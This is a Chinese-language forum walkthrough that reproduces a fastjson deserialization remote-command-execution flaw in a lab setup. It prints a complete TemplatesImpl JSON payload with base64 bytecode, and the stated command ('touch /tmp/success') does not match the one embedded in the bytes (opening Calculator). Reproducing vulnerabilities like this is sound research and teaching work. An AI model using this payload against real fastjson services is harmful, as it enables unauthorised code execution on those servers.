標題:fastjson 反序列化任意命令執行漏洞

taibeihacker

Moderator

fastjson 反序列化任意命令执行漏洞​

漏洞原理​

fastjson在解析json的過程中,支持使用autoType來實例化某一個具體的類,並通過json來填充其屬性值。而JDK自帶的類com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中有一個私有屬性_bytecodes,其部分方法會執行這個值中包含的Java字節碼。
所以,想要使用TemplatesImpl的_bytecodes屬性執行任意命令,有幾個條件:
目標網站使用fastjson庫解析json
解析時設置了Feature.SupportNonPublicField,否則不支持傳入私有屬性
目標使用的jdk中存在TemplatesImpl類
當然不排除有其他不需要TemplatesImpl的利用方法

漏洞复现​

本環境目錄結構如下:
src 本項目源碼
main/java java類
IndexFilter.java web源碼
Poc.java POC源碼
pom.xml 配置文件,使用maven可以直接將本項目編譯成war包
exploit.php 讀取編譯好的POC字節碼,並轉換成base64
fastjson-1.0.war 打包好的web環境,可以直接放到tomcat下運行

生成字节码​

第一步就是編寫一個Java類,在這個類中執行命令。然後編譯該類,獲得.class文件,獲得字節碼。
修改Poc.java中你想要執行的命令,然後在本目錄下使用maven對本項目進行編譯,生成target/classes/Poc.class:
1
mvn compile
如果沒有安裝maven,也可以直接使用fastjson-1.0.war這個壓縮包中的WEB-INF/classes/Poc.class。 exploit.php中就是讀取的這個我已經編譯好的class文件。

构造POC​

生成.class文件後,將該文件的內容進行base64編碼,放在json中_bytecodes的值的位置,如下:
1
{'@type':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl','_bytecodes':['yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMUG9jOwEACkV4Y2VwdGlvbnMHACwB AAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF 4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi 9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b 3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFj aGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAJaGF GbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy 9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcALwwAMAAxAQAhb3BlbiAvQXBwbGljYXRpb 25zL0NhbGN1bGF0b3IuYXBwDAAyADMBAANQb2MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2 YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABF qYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3 M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACwAEAAwADQANAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAE AABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEQAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAFgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwA GTLEAAAACAAsAAAAKAAIAAAAZAAgAGgAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=='],'_name':'a.b','_tfactory':{ },'_outputProperties':{ },'_version':'1.0','allowedProtocols':'all'}
如果想使用已經編譯好的.class文件,可以直接執行php exploit.php獲得POC:
20190609163619.png-water_print

使用jdk1.8編譯,執行的命令是touch /tmp/success,所以在Windows下會執行失敗。 Windows用戶請自己修改Poc.java,生成自己的POC。

漏洞利用​

目標是一個web應用,訪問返回“Hello world”。正常POST一個json,目標會提取json對像中的name和age拼接成一句話返回:
20190609163632.png-water_print

發送步驟二中獲取的POC,成功執行命令:
20190609163643.png-water_print

20190609163653.png-water_print

如上圖,/tmp/success文件成功被創建。
 
返回
上方